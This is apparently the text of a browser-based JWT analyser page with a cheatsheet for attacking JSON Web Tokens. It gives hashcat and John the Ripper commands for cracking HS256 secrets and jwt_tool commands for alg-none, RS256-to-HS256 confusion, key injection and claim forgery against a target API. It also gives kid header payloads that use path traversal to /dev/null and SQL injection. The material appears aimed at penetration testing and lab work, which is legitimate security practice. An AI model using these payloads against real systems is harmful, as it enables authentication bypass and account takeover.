JWT analyser

Paste a token to see its header, payload and signature. It tells you which attacks to try, and you can modify and re-sign it without leaving the page. Nothing leaves your browser.

Your values Saved in this browser and applied to every cheatsheet.

Crack the secret (HS256)

Save the token 
echo -n 'eyJhbGciOi...' > jwt.txt
hashcat 
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
John the Ripper 
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt

jwt_tool

Install: git clone https://github.com/ticarpi/jwt_tool && pip3 install -r jwt_tool/requirements.txt

Show the content 
python3 jwt_tool.py <JWT>
Run every attack against the site 
python3 jwt_tool.py -t http://10.10.11.20/api/me -rh "Authorization: Bearer <JWT>" -M at
alg none 
python3 jwt_tool.py <JWT> -X a
Algorithm confusion RS256 → HS256 
python3 jwt_tool.py <JWT> -X k -pk public.pem

The public key is often at /jwks.json, /.well-known/jwks.json or in the TLS certificate.

Inject your own key (jwk / jku) 
python3 jwt_tool.py <JWT> -X i
Change a claim and sign with the secret 
python3 jwt_tool.py <JWT> -T -S hs256 -p 'secreto'

Tampering with kid

Path traversal to an empty file 
{"alg":"HS256","typ":"JWT","kid":"../../../../../../dev/null"}

Then sign with an empty secret.

SQL injection in kid 
{"alg":"HS256","typ":"JWT","kid":"x' UNION SELECT 'pwned'-- -"}

If the server looks the key up in a database, sign with the secret "pwned".